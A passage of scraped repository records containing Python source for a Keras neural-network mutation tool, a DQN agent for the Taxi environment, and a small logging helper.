"92486b7ac3ca7b606507ef87e5a98d501086dddf", "content_id": "5cd0c48a6a959233012e693ee754341951aec048", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 509, "license_type": "no_license", "max_line_length": 59, "num_lines": 16, "path": "/kerasInput.py", "repo_name": "haoyang9804/New-mutators", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nimport numpy as np\nimport tensorflow.keras as keras\nimport pandas as pd\nfrom tensorflow.python.keras.backend import shape\nfrom colors import *\n\n_, (x_test, y_test) = keras.datasets.mnist.load_data()\ndef get_mnist_data(x_test):\n x_test = x_test.astype('float32') / 255.0\n x_test = x_test.reshape(x_test.shape[0], 28, 28, 1)\n return x_test\n# print(y_test)\n# print('=======')\nx_test = get_mnist_data(x_test)\ny_test = keras.utils.to_categorical(y_test, num_classes=10)" }, { "alpha_fraction": 0.567717969417572, "alphanum_fraction": 0.5933828353881836, "avg_line_length": 40.7829475402832, "blob_id": "1b368d1e634c15e2288e4494f8f027bef49d027d", "content_id": "2afeaacd92136aea885dce3472efbedfeaf8e258", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16170, "license_type": "no_license", "max_line_length": 147, "num_lines": 387, "path": "/mutators.py", "repo_name": "haoyang9804/New-mutators", "src_encoding": "UTF-8", "text": "import numpy as np\nimport tensorflow as tf\nimport tensorflow.keras as keras\nimport tensorflow.keras.backend as K\nfrom tensorflow.python.keras.layers.merge import minimum\nfrom colors import *\nfrom newLayer_handler import myLayer\nfrom collections import namedtuple\nimport globalInfos\n\ndef addOneLayer(model, mode='random', op = None):\n return _addOneLayer_Conv2D(model, mode, op)\n\ndef _addOneLayer_Conv2D_minSize(nextLayer):\n # haoyang only considers Conv2D, maxpooling and averagepooling\n if len(nextLayer.output.shape) == 2:\n minimage_d1, minimage_d2 = 1, 1\n else:\n minimage_d1, minimage_d2 = nextLayer.output.shape[1], nextLayer.output.shape[2]\n\n return minimage_d1, minimage_d2\n\ndef _decideConv2DOrPoolingParams_strides(image_d1, image_d2, minikerpool_size, maxikerpool_size, output_d1, output_d2):\n\n if output_d1 == 1:\n kerpool_size_d1 = image_d1\n strides_d1 = 1\n else:\n kerpool_size_d1s = []\n for ks_d1 in range(minikerpool_size[0], maxikerpool_size[0]+1):\n if (image_d1 - ks_d1) % (output_d1 - 1) == 0:\n kerpool_size_d1s.append(ks_d1)\n kerpool_size_d1 = np.random.choice(kerpool_size_d1s)\n strides_d1 = (image_d1 - ks_d1) // (output_d1 - 1)\n\n if output_d2 == 1:\n kerpool_size_d2 = image_d2\n strides_d2 = 1\n else:\n kerpool_size_d2s = []\n for ks_d2 in range(minikerpool_size[1], maxikerpool_size[1]+1):\n if (image_d2 - ks_d2) % (output_d2 - 1) == 0:\n kerpool_size_d2s.append(ks_d2)\n kerpool_size_d2 = np.random.choice(kerpool_size_d2s)\n strides_d2 = (image_d2 - ks_d2) // (output_d2 - 1)\n\n kerpool_size = (kerpool_size_d1, kerpool_size_d2)\n strides = (strides_d1, strides_d2)\n return kerpool_size, strides\n\ndef _decideConv2DOrPoolingParams_dilation_rate(image_d1, image_d2, minikerpool_size, maxikerpool_size, output_d1, output_d2):\n\n kerpool_size_d1s = []\n for ks_d1 in range(minikerpool_size[0], maxikerpool_size[0]+1): \n if ks_d1 == 1:\n kerpool_size_d1s.append(ks_d1)\n continue\n if (image_d1-output_d1+1-ks_d1)%(ks_d1-1) == 0:\n kerpool_size_d1s.append(ks_d1)\n\n kerpool_size_d1 = np.random.choice(kerpool_size_d1s)\n if kerpool_size_d1 == 1:\n dilation_rate_1 = 1\n else:\n dilation_rate_1 = (image_d1-output_d1+1-kerpool_size_d1)//(kerpool_size_d1-1)+1\n\n kerpool_size_d2s = []\n for ks_d2 in range(minikerpool_size[1], maxikerpool_size[1]+1):\n if ks_d2 == 1:\n kerpool_size_d2s.append(ks_d2)\n continue\n if (image_d2-output_d2+1-ks_d2)%(ks_d2-1) == 0:\n kerpool_size_d2s.append(ks_d2)\n\n kerpool_size_d2 = np.random.choice(kerpool_size_d2s)\n if kerpool_size_d2 == 1:\n dilation_rate_2 = 1\n else:\n dilation_rate_2 = (image_d2-output_d2+1-kerpool_size_d2)//(kerpool_size_d2-1)+1\n\n dilation_rate = (dilation_rate_1, dilation_rate_2)\n kerpool_size = (kerpool_size_d1, kerpool_size_d2)\n return kerpool_size, dilation_rate\n\n\ndef _decideConv2DOrPoolingParams(op, minimage_d1, minimage_d2, image_d1, image_d2):\n\n if minimage_d1 > image_d1 or minimage_d2 > image_d2:\n raise Exception(Cyan('Cannot insert a conv or pooling layer here. Required minimum output size is larger than the input size!'))\n\n # output dimension of the added conv or pooling layer\n output_d1 = minimage_d1 if minimage_d1 == image_d1 else np.random.randint(minimage_d1, image_d1)\n output_d2 = minimage_d1 if minimage_d2 == image_d2 else np.random.randint(minimage_d2, image_d2)\n padding = 'valid'\n strides, dilation_rate = (1, 1), (1, 1) \n\n if op == 'AveragePooling2D' or op == 'MaxPooling2D':\n dilation_or_strides = 'strides'\n elif op == 'Conv2D' or op == 'SeparableConv2D':\n dilation_or_strides = np.random.choice(['dilation_rate', 'strides'])\n else:\n raise Exception(Cyan(f'Unexpected op: {op}'))\n\n # maxikerpool_size exists when strides = (1,1)\n maxikerpool_size = (image_d1-output_d1+1, image_d2-output_d2+1)\n minikerpool_size = (1, 1)\n\n if dilation_or_strides == 'strides':\n kerpool_size, strides = _decideConv2DOrPoolingParams_strides(image_d1, image_d2, minikerpool_size, \\\n maxikerpool_size, output_d1, output_d2)\n else:\n \n kerpool_size, dilation_rate = _decideConv2DOrPoolingParams_dilation_rate(image_d1, image_d2, \\\n minikerpool_size, maxikerpool_size, output_d1, output_d2)\n\n return kerpool_size, padding, strides, dilation_rate\n\n\ndef _addOneLayer_Conv2D_addConv2DOrPooling(layer, layerType, mode, op):\n inputshape = layer.input.shape\n image_d1 = inputshape[1]\n image_d2 = inputshape[2]\n minimage_d1, minimage_d2 = _addOneLayer_Conv2D_minSize(layer)\n kerpool_size, padding, strides, dilation_rate = _decideConv2DOrPoolingParams(op, minimage_d1, minimage_d2, image_d1, image_d2)\n\n return myLayer(layer, modelType='conv2d', copy=False, subType=layerType, mode=mode, op=op, \\\n kerpool_size=kerpool_size, padding=padding, strides=strides, dilation_rate=dilation_rate)\n\ndef _addOneLayer_Conv2D_addZeroPadding2D(layer, layerType, mode, op):\n frn = [\n np.random.randint(1, 11),\n np.random.randint(1, 11),\n np.random.randint(1, 11),\n np.random.randint(1, 11)\n ]\n return myLayer(layer, modelType='conv2d', copy=False, subType=layerType, mode=mode, op=op,\\\n padding=((frn[0], frn[1]), (frn[2], frn[3])))\n\ndef _addOneLayer_Conv2D_addCropping2D(layer, layerType, mode, op):\n minimage_d1, minimage_d2 = _addOneLayer_Conv2D_minSize(layer)\n inputshape = layer.input.shape\n image_d1 = inputshape[1]\n image_d2 = inputshape[2]\n output_d1 = minimage_d1 if minimage_d1 == image_d1 else np.random.randint(minimage_d1, image_d1)\n output_d2 = minimage_d1 if minimage_d2 == image_d2 else np.random.randint(minimage_d2, image_d2)\n diff_d1 = image_d1 - output_d1\n diff_d2 = image_d2 - output_d2\n top_crop = diff_d1 // 2\n bottom_crop = diff_d1 - top_crop\n left_crop = diff_d2 // 2\n right_crop = diff_d2 - left_crop\n frn = [\n np.random.randint(0, top_crop+1),\n np.random.randint(0, bottom_crop+1),\n np.random.randint(0, left_crop+1),\n np.random.randint(0, right_crop+1)\n ]\n return myLayer(layer, modelType='conv2d', copy=False, subType=layerType, mode=mode, op=op,\\\n cropping=((frn[0], frn[1]), (frn[2], frn[3])))\n\ndef _addOneLayer_Conv2D_addOperation(layer, layerType, mode, op, inlayer):\n if layerType == 1:\n if mode == 'fixed':\n pass\n elif mode == 'random': \n from globalInfos import CONV2D_TYPE_1_POOL\n op = np.random.choice(CONV2D_TYPE_1_POOL)\n else:\n raise Exception(Cyan(f'Unkown mode: {mode}'))\n # UPDATE\n if op != 'SpatialDropout2D' and op != 'ZeroPadding2D' and op != 'Cropping2D':\n return _addOneLayer_Conv2D_addConv2DOrPooling(layer, layerType, mode, op)\n else:\n if op == 'ZeroPadding2D':\n return _addOneLayer_Conv2D_addZeroPadding2D(layer, layerType, mode, op)\n elif op == 'Cropping2D':\n return _addOneLayer_Conv2D_addCropping2D(layer, layerType, mode, op)\n else:\n return myLayer(layer, modelType='conv2d', copy=False, subType=layerType, mode=mode, op=op)\n\n elif layerType == 2 or layerType == 3 or layerType == 4:\n\n if layerType == 2:\n if mode == 'fixed':\n pass\n elif mode == 'random': \n from globalInfos import CONV2D_TYPE_2_POOL\n op = np.random.choice(CONV2D_TYPE_2_POOL)\n else:\n raise Exception(Cyan(f'Unkown mode: {mode}'))\n \n elif layerType == 3:\n if mode == 'fixed':\n pass\n elif mode == 'random': \n from globalInfos import CONV2D_TYPE_3_POOL\n op = np.random.choice(CONV2D_TYPE_3_POOL)\n else:\n raise Exception(Cyan(f'Unkown mode: {mode}'))\n \n elif layerType == 4:\n if mode == 'fixed':\n pass\n elif mode == 'random': \n from globalInfos import CONV2D_TYPE_4_POOL\n op = np.random.choice(CONV2D_TYPE_4_POOL)\n else:\n raise Exception(Cyan(f'Unkown mode: {mode}'))\n if op == 'BatchNormalization' or op == 'LayerNormalization':\n return myLayer(layer, modelType='conv2d', copy=False, subType=layerType, mode=mode, op=op, inlayer=inlayer)\n return myLayer(layer, modelType='conv2d', copy=False, subType=layerType, mode=mode, op=op)\n else:\n raise Exception(Cyan(f'Unkown layerType: {str(layerType)}'))\n \ndef _addOneLayer_Conv2D_analyze_layerType(op):\n\n from globalInfos import CONV2D_TYPE_1_POOL, CONV2D_TYPE_2_POOL, CONV2D_TYPE_3_POOL, CONV2D_TYPE_4_POOL\n if op in CONV2D_TYPE_1_POOL: return 1\n elif op in CONV2D_TYPE_2_POOL: return 2\n elif op in CONV2D_TYPE_3_POOL: return 3\n elif op in CONV2D_TYPE_4_POOL: return 4\n else:\n raise Exception(Cyan(f'Unkown op: {op}'))\n\ndef _addOneLayer_Conv2D_decide_layerType(mode, op):\n \n if mode == 'random':\n layerTypes = []\n from globalInfos import CONV2D_TYPE_1_AVAILABLE_EDGES,\\\n CONV2D_TYPE_2_AVAILABLE_EDGES,\\\n CONV2D_TYPE_3_AVAILABLE_EDGES,\\\n CONV2D_TYPE_4_AVAILABLE_EDGES\n if CONV2D_TYPE_1_AVAILABLE_EDGES: layerTypes.append(1)\n if CONV2D_TYPE_2_AVAILABLE_EDGES: layerTypes.append(2)\n if CONV2D_TYPE_3_AVAILABLE_EDGES: layerTypes.append(3)\n if CONV2D_TYPE_4_AVAILABLE_EDGES: layerTypes.append(4)\n layerType = np.random.choice(layerTypes)\n elif mode == 'fixed':\n layerType = _addOneLayer_Conv2D_analyze_layerType(op)\n else:\n raise Exception(Cyan(f'Unkown mode: {mode}'))\n return layerType\n\ndef _addOneLayer_Conv2D_decide_inLayers_outLayer_crop_edge(layerType):\n from globalInfos import CONV2D_TYPE_1_AVAILABLE_EDGES,\\\n CONV2D_TYPE_2_AVAILABLE_EDGES,\\\n CONV2D_TYPE_3_AVAILABLE_EDGES,\\\n CONV2D_TYPE_4_AVAILABLE_EDGES\n print(Red(f'layerType: {str(layerType)}'))\n available_edges = [CONV2D_TYPE_1_AVAILABLE_EDGES,\\\n CONV2D_TYPE_2_AVAILABLE_EDGES,\\\n CONV2D_TYPE_3_AVAILABLE_EDGES,\\\n CONV2D_TYPE_4_AVAILABLE_EDGES][layerType-1]\n \n # print('1', CONV2D_TYPE_1_AVAILABLE_EDGES)\n # print('2', CONV2D_TYPE_2_AVAILABLE_EDGES)\n # print('3', CONV2D_TYPE_3_AVAILABLE_EDGES)\n # print('4', CONV2D_TYPE_4_AVAILABLE_EDGES)\n\n randID = np.random.randint(0, len(available_edges))\n # randID = 2\n print(Blue(f'randID = {str(randID)}'))\n selected_edges = available_edges[randID]\n if layerType != 4:\n inLayers = [selected_edges[0]]\n outLayer = selected_edges[1]\n crop_edge = selected_edges\n else:\n inLayers = []\n for edge in selected_edges:\n inLayers.append(edge[0])\n outLayer = selected_edges[-1][1]\n crop_edge = selected_edges[-1]\n return inLayers, outLayer, crop_edge\n\ndef decide_data_form(layers):\n for layer in layers:\n config = layer.get_config()\n if 'data_format' in config:\n globalInfos.DATA_FORMAT = config['data_format'] \n break\n\ndef decide_data_type(layers):\n for layer in layers:\n config = layer.get_config()\n if 'dtype' in config:\n globalInfos.DTYPE = config['dtype'] \n break\n\ndef _in_inLayers(qlayer, inLayers):\n for inlayer in inLayers:\n if qlayer.name == inlayer.name:\n return True\n return False\n\ndef _addOneLayer_Conv2D_init_q_inputs():\n from globalInfos import INPUTLAYERS\n import queue\n q = queue.Queue()\n inputs = []\n for inputlayer in INPUTLAYERS:\n input = keras.Input(shape=inputlayer.input.shape[1:])\n inputs.append(input)\n\n if not isinstance(inputlayer, keras.layers.InputLayer):\n newlayer = inputlayer.__class__.from_config(inputlayer.get_config())\n q.put((inputlayer, newlayer(input)))\n else:\n for node in inputlayer._outbound_nodes:\n out_layer = node.outbound_layer\n newlayer = out_layer.__class__.from_config(out_layer.get_config())\n q.put((out_layer, newlayer(input)))\n\n return inputs, q\n\ndef _addOneLayer_Conv2D(model, mode, op):\n layerType = _addOneLayer_Conv2D_decide_layerType(mode, op)\n inLayers, outLayer, crop_edge = _addOneLayer_Conv2D_decide_inLayers_outLayer_crop_edge(layerType)\n newlayer = _addOneLayer_Conv2D_addOperation(outLayer, layerType, mode, op, inLayers[0])\n \n decide_data_form(model.layers)\n decide_data_type(model.layers)\n visited = {}\n invalues = [] if len(inLayers) > 1 else None\n outputs = []\n outputs_dict = {}\n CONV2D_TYPE_4_POOL_ALL = ['Add', 'Concatenate', 'Average', 'Maximum', 'Minimum', 'Subtract', 'Multiply', 'Dot']\n inputs, q = _addOneLayer_Conv2D_init_q_inputs()\n\n while not q.empty():\n qlayer, output = q.get()\n print(Yellow(qlayer.name))\n outputs_dict[qlayer.name] = output\n print(Blue(str(output.shape)))\n if qlayer.name in visited:\n continue\n visited[qlayer.name] = True\n if qlayer._outbound_nodes == []:\n outputs.append(output)\n if _in_inLayers(qlayer, inLayers):\n if isinstance(invalues, list): \n invalues.append(output)\n else: \n invalues = output\n for node in qlayer._outbound_nodes:\n layer_out = node.outbound_layer\n print(Red(layer_out.name))\n if layer_out.name == outLayer.name:\n print(Green('insert!'))\n output = newlayer(invalues)\n # layer_out_ = myLayer(layer_out, modelType='conv2d', copy=True, inputshape=output.shape)\n # else:\n # if layer_out.__class__.__name__ not in ['Conv2D', 'AveragePooling2D', 'MaxPooling2D', 'SeparableConv2D', 'DepthwiseConv2D'] or \\\n # output.shape == layer_out.input.shape:\n # print('?')\n # layer_out_ = layer_out.__class__.from_config(layer_out.get_config())\n # if layer_out.get_weights() != []:\n # layer_out_.build(layer_out.input.shape)\n # layer_out_.set_weights(layer_out.get_weights())\n # else:\n layer_out_ = myLayer(layer_out, modelType='conv2d', copy=True, inputshape=output.shape) \n if layer_out.__class__.__name__ in CONV2D_TYPE_4_POOL_ALL:\n tmp_inputs = []\n inputlayer_alltraversed = True\n for node in layer_out._inbound_nodes:\n if isinstance(node.inbound_layers, list):\n for l in node.inbound_layers:\n if l.name != qlayer.name:\n if l.name in outputs_dict:\n tmp_inputs.append(outputs_dict[l.name])\n else:\n inputlayer_alltraversed = False\n break\n else:\n l = node.inbound_layers\n if l.name != qlayer.name:\n if l.name in outputs_dict:\n tmp_inputs.append(outputs_dict[l.name])\n else:\n inputlayer_alltraversed = False\n if inputlayer_alltraversed:\n tmp_inputs.append(output)\n q.put((layer_out, layer_out_(tmp_inputs)))\n else:\n q.put((layer_out, layer_out_(output)))\n newmodel = keras.Model(inputs=inputs, outputs=outputs)\n return newmodel\n" }, { "alpha_fraction": 0.6582879424095154, "alphanum_fraction": 0.6697134971618652, "avg_line_length": 41.455223083496094, "blob_id": "48ce6f605cde41aa2200218b9a984d56f813aff7", "content_id": "7e3c11e6efa075018dc1de257236adb152959923", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5689, "license_type": "no_license", "max_line_length": 94, "num_lines": 134, "path": "/newLayer_handler.py", "repo_name": "haoyang9804/New-mutators", "src_encoding": "UTF-8", "text": "import tensorflow.keras as keras\nfrom newLayer_impl import *\n# from globalInfos \n\ndef _myConv2DLayer_op_to_newlayer(op):\n if op == 'Dense': return myDenseLayer\n elif op == 'Conv2D': return myConv2DLayer\n elif op == 'SeparableConv2D':return mySeparableConv2DLayer\n elif op == 'AveragePooling2D': return myAveragePooling2DLayer\n elif op == 'MaxPooling2D': return myMaxPooling2DLayer\n elif op == 'Dropout': return myDropoutLayer\n elif op == 'SpatialDropout2D': return mySpatialDropout2DLayer\n elif op == 'BatchNormalization': return myBatchNormalizationLayer\n elif op == 'LayerNormalization': return myLayerNormalizationLayer\n elif op == 'GaussianDropout': return myGaussianDropoutLayer\n elif op == 'Add': return myAddLayer\n elif op == 'Minimum': return myMinimumLayer\n elif op == 'Maximum': return myMaximumLayer\n elif op == 'Average': return myAverageLayer\n elif op == 'ZeroPadding2D': return myZeroPadding2DLayer\n elif op == 'Cropping2D': return myCropping2DLayer\n else:\n raise Exception(Cyan(f'The op {op} does not correspond to any new layer.'))\n \n\ndef _myConv2DLayer_notcopy_1(layer, inputshape, op, **notcopy_kwargs):\n\n kerasLayer = _myConv2DLayer_op_to_newlayer(op)\n # UPDATE\n if kerasLayer in [myConv2DLayer, mySeparableConv2DLayer, myAveragePooling2DLayer, \\\n myMaxPooling2DLayer]:\n newlayer = kerasLayer(layer, inputshape, **notcopy_kwargs)\n elif kerasLayer in [myZeroPadding2DLayer, myCropping2DLayer]:\n newlayer = kerasLayer(layer, **notcopy_kwargs)\n else:\n newlayer = kerasLayer(layer, copy=False)\n return newlayer\n\ndef _myConv2DLayer_notcopy_2(layer, inputshape):\n return myDenseLayer(layer, inputshape, copy=False)\n\ndef _myConv2DLayer_notcopy_3(layer, inputshape, op, **notcopy_kwargs):\n\n kerasLayer = _myConv2DLayer_op_to_newlayer(op)\n \n if kerasLayer in [myDropoutLayer, myGaussianDropoutLayer]:\n newlayer = kerasLayer(layer, copy=False)\n elif kerasLayer in [myBatchNormalizationLayer, myLayerNormalizationLayer]:\n newlayer = kerasLayer(layer, inputshape, False, notcopy_kwargs['inlayer'])\n else:\n newlayer = kerasLayer(layer, inputshape, copy=False)\n return newlayer\n\ndef _myConv2DLayer_notcopy_4(layer, op):\n\n kerasLayer = _myConv2DLayer_op_to_newlayer(op)\n newlayer = kerasLayer(layer, copy=False) \n return newlayer\n\ndef _myConv2DLayer_copy(layer, inputshape):\n newlayer = None\n if layer.__class__.__name__ == 'Dense':\n newlayer = myDenseLayer(layer, inputshape)\n elif layer.__class__.__name__ == 'Conv2D':\n newlayer = myConv2DLayer(layer, inputshape)\n elif layer.__class__.__name__ == 'AveragePooling2D':\n newlayer = myAveragePooling2DLayer(layer, inputshape)\n elif layer.__class__.__name__ == 'Flatten':\n newlayer = myFlattenLayer(layer)\n elif layer.__class__.__name__ == 'Dropout':\n newlayer = myDropoutLayer(layer)\n elif layer.__class__.__name__ == 'MaxPooling2D':\n newlayer = myMaxPooling2DLayer(layer, inputshape)\n elif layer.__class__.__name__ == 'BatchNormalization':\n newlayer = myBatchNormalizationLayer(layer, inputshape)\n elif layer.__class__.__name__ == 'LayerNormalization':\n newlayer = myLayerNormalizationLayer(layer, inputshape)\n elif layer.__class__.__name__ == 'SeparableConv2D':\n newlayer = mySeparableConv2DLayer(layer, inputshape)\n elif layer.__class__.__name__ == 'GaussianDropout':\n newlayer = myGaussianDropoutLayer(layer)\n elif layer.__class__.__name__ == 'Add':\n newlayer = myAddLayer(layer)\n elif layer.__class__.__name__ == 'Minimum':\n newlayer = myMinimumLayer(layer)\n elif layer.__class__.__name__ == 'Maximum':\n newlayer = myMaximumLayer(layer)\n elif layer.__class__.__name__ == 'Average':\n newlayer = myAverageLayer(layer)\n elif layer.__class__.__name__ == 'Reshape':\n newlayer = myReshapeLayer(layer)\n elif layer.__class__.__name__ == 'SpatialDropout2D':\n newlayer = mySpatialDropout2DLayer(layer)\n elif layer.__class__.__name__ == 'Activation':\n newlayer = myActivationLayer(layer)\n elif layer.__class__.__name__ == 'Concatenate':\n newlayer = myConcatenateLayer(layer)\n elif layer.__class__.__name__ == 'ReLU':\n newlayer = myReluLayer(layer)\n elif layer.__class__.__name__ == 'GlobalAveragePooling2D':\n newlayer = myGlobalAveragePooling2DLayer(layer)\n elif layer.__class__.__name__ == 'DepthwiseConv2D':\n newlayer = myDepthwiseConv2DLayer(layer, inputshape)\n elif layer.__class__.__name__ == 'ZeroPadding2D':\n newlayer = myZeroPadding2DLayer(layer)\n if not newlayer:\n raise Exception(Cyan('newlayer is of unexpected type!'))\n\n return newlayer\n \n\ndef myConv2dLayer(layer, copy, subType, inputshape, op, **notcopy_kwargs):\n\n if copy:\n return _myConv2DLayer_copy(layer, inputshape)\n else:\n if subType == 1: \n return _myConv2DLayer_notcopy_1(layer, inputshape, op, **notcopy_kwargs)\n elif subType == 2:\n return _myConv2DLayer_notcopy_2(layer, inputshape)\n elif subType == 3:\n return _myConv2DLayer_notcopy_3(layer, inputshape, op, **notcopy_kwargs)\n elif subType == 4:\n return _myConv2DLayer_notcopy_4(layer, op)\n else:\n raise Exception(Cyan('Unknown subType'))\n\ndef myLayer(layer, modelType, copy, subType=None, inputshape=None, op=None, **notcopy_kwargs):\n\n if modelType == 'conv2d':\n return myConv2dLayer(layer, copy, subType, inputshape, op, **notcopy_kwargs)\n\n else:\n raise Exception(Cyan('Unknown modelType'))\n" } ]
10
reingel/HRL_InvCNN
https://github.com/reingel/HRL_InvCNN
dd6a49f6ea63b261584a5108bb46f6dd05b3607f
f9b1a08bd18621fbdea3cacc199992ba51e80020
effddef3e5b3a7b746059602af1f2f6f9a6cd41f
refs/heads/master
2022-12-21T18:55:35.204119
2020-09-20T07:47:53
2020-09-20T07:47:53
296,800,862
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8309859037399292, "alphanum_fraction": 0.8309859037399292, "avg_line_length": 46, "blob_id": "16f09665748c3722d9f5f311e462091cc02885c0", "content_id": "6808e7b77086af397f620ee83eca578d8958805d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 142, "license_type": "no_license", "max_line_length": 126, "num_lines": 3, "path": "/README.md", "repo_name": "reingel/HRL_InvCNN", "src_encoding": "UTF-8", "text": "# HRL_InvCNN\n\nThis repository is to test the possibility of the Hierarchical Reinforcement Learning by Inverse Convolutional Neural Network.\n\n" }, { "alpha_fraction": 0.5399649143218994, "alphanum_fraction": 0.5632673501968384, "avg_line_length": 29.366413116455078, "blob_id": "cb78fcbceffab5452cc1939a45a0d0411a8e3b66", "content_id": "a2a1abc0d4196f54df89c487877e93c973bf5b68", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3991, "license_type": "no_license", "max_line_length": 119, "num_lines": 131, "path": "/agent_dqn.py", "repo_name": "reingel/HRL_InvCNN", "src_encoding": "UTF-8", "text": "import numpy as np\nimport numpy.random as rd\nimport random\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom collections import namedtuple\n\n\nSample = namedtuple('Sample', 'state, action, reward, next_state, done')\n\nclass EpsilonGreedy():\n def __init__(self, action_space, iv=1.0, fac=0.99, mv=0.05):\n self.action_space = action_space\n self.value = iv\n self.factor = fac\n self.min_value = mv\n \n def __call__(self, action):\n self.value = max(self.value * self.factor, self.min_value)\n\n if rd.rand() < self.value:\n return random.choice(self.action_space)\n else:\n return action\n\n\nclass ReplayMemory():\n def __init__(self, capacity=10000):\n self.capacity = capacity\n self.memory = []\n self.n = 0\n\n def reset(self):\n self.memory = []\n \n def append(self, sample):\n self.memory.append(sample)\n if len(self.memory) > self.capacity:\n self.memory.pop(0)\n\n self.n = len(self.memory)\n \n def sample(self, n=100):\n return random.sample(self.memory, n)\n\n\nclass Qnet(nn.Module):\n def __init__(self):\n super().__init__()\n\n self.lay1 = nn.Linear(4, 32)\n self.lay2 = nn.Linear(32, 128)\n self.lay3 = nn.Linear(128, 6)\n\n self.lay1.weight.data.copy_(self.lay1.weight.data * 0.01)\n self.lay2.weight.data.copy_(self.lay2.weight.data * 0.01)\n \n def forward(self, s):\n u = torch.FloatTensor(s)\n\n x = torch.relu(self.lay1(u))\n x = torch.relu(self.lay2(x))\n Q = self.lay3(x)\n\n return Q\n\nclass AgentDqn():\n def __init__(self, action_space=range(5), train_interval = 1000, n_minibatch=100, alpha=0.01, gamma=0.99, lr=0.01):\n self.train_interval = train_interval\n self.n_minibatch = n_minibatch\n self.alpha = alpha\n self.gamma = gamma\n\n self.target_network = Qnet()\n self.behavior_network = Qnet()\n self.optimizer = torch.optim.SGD(self.behavior_network.parameters(), lr=lr)\n\n self.buffer = ReplayMemory(capacity=100000)\n self.explorer = EpsilonGreedy(action_space, iv=1.0, fac=0.999, mv=0.05)\n\n self.sample_count = 0\n \n def reset(self):\n self.buffer.reset()\n\n def __call__(self, state):\n Q = self.behavior_network(state)\n action = np.argmax(Q.detach().numpy())\n chosen = self.explorer(action)\n\n return chosen\n \n def train(self, sample):\n self.buffer.append(sample)\n self.sample_count += 1\n\n if self.sample_count % self.train_interval == 0:\n samples = self.buffer.sample(self.n_minibatch)\n\n states = [sample.state for sample in samples]\n actions = [sample.action for sample in samples]\n rewards = [sample.reward for sample in samples]\n next_states = [sample.next_state for sample in samples]\n dones = [sample.done for sample in samples]\n\n Q1s = self.target_network(next_states).detach()\n U = torch.FloatTensor(rewards) + self.gamma * torch.max(Q1s, dim=1)[0] * \\\n (1.0 - torch.FloatTensor(dones))\n\n Qs = self.behavior_network(states)\n Q = [(u - q[a])**2 for u, q, a in zip(U, Qs, actions)]\n loss = sum(Q)\n\n for sample in samples:\n s, a, r, s1, done = sample\n # print(s,a,r,s1,done)\n\n U = r\n if not done:\n U += self.gamma * torch.max(self.target_network(s1).detach())\n\n Q = self.behavior_network(s)[a]\n loss = (U - Q)**2\n\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n \n for bparam, tparam in zip(self.behavior_network.parameters(), self.target_network.parameters()):\n tparam.data.copy_(self.alpha * bparam.data + (1 - self.alpha) * tparam.data)\n \n" }, { "alpha_fraction": 0.4914425313472748, "alphanum_fraction": 0.5085574388504028, "avg_line_length": 23.058822631835938, "blob_id": "8e3b3b849abe71acdbc818d822324f04cb7091c2", "content_id": "8e8e278bd0f50ea56a05c8af8ce5bff8aba6470a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 409, "license_type": "no_license", "max_line_length": 50, "num_lines": 17, "path": "/summary_dir.py", "repo_name": "reingel/HRL_InvCNN", "src_encoding": "UTF-8", "text": "import os\nfrom datetime import date\n\ndef summary_dir():\n today_dir = 'runs/' + str(date.today())\n\n if os.path.exists(today_dir):\n seq_dirs = os.listdir(today_dir)\n if seq_dirs:\n next_seq = max(map(int, seq_dirs)) + 1\n seq_str = ('0' + str(next_seq))[-2:]\n else:\n seq_str = '01'\n else:\n seq_str = '01'\n\n return today_dir + '/' + seq_str\n" }, { "alpha_fraction": 0.5900452733039856, "alphanum_fraction": 0.6171945929527283, "avg_line_length": 23.021739959716797, "blob_id": "b1a5db89e98468001a77819b717d0dd4ba1006bc", "content_id": "a573a38ebee9dee06611202b803ceec1ec8f01b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1105, "license_type": "no_license", "max_line_length": 110, "num_lines": 46, "path": "/main.py", "repo_name": "reingel/HRL_InvCNN", "src_encoding": "UTF-8", "text": "import gym\nimport numpy as np\nimport numpy.random as rd\nfrom agent_dqn import AgentDqn, Sample\nfrom tensorboardX import SummaryWriter\nfrom summary_dir import summary_dir\n\nlogdir = summary_dir()\nwriter = SummaryWriter(logdir=logdir)\nprint(f\"Data will be logged in '{logdir}'\")\n\nenv = gym.make('Taxi-v3').unwrapped\naction_space = range(env.action_space.n)\ndef decode(s):\n return list(env.decode(s))\n\nagt = AgentDqn(action_space=action_space, train_interval=100, n_minibatch=10, alpha=0.01, gamma=0.99, lr=0.01)\n\nfor i in range(10000):\n s = env.reset()\n env.render()\n\n R = 0\n step = 0\n for j in range(3000):\n state = decode(s)\n action = agt(state)\n\n s1, reward, done, _ = env.step(action)\n next_state = decode(s1)\n\n sample = Sample(state, action, reward, next_state, done)\n agt.train(sample)\n\n R += reward\n s = s1\n step += 1\n\n if done:\n break\n\n env.render()\n env.close()\n print(f'i = {i}, R = {R}, step = {step}')\n writer.add_scalar('status/R', R, i)\n writer.add_scalar('status/step', step, i)\n" } ]
4
vinnykuhnel/A-Star_Path_Search
https://github.com/vinnykuhnel/A-Star_Path_Search
b0b5789551be591f636867ee9c122d1273cde18c
eefde930f3e9db8f9d815ff9810cff4cef80ca34
005933d5cbf6ce04d95c2e5b26fe742911e27491
refs/heads/main
2023-08-13T23:49:38.955649
2021-09-29T01:24:31
2021-09-29T01:24:31
407,658,012
0
0
null
null
null
null
null
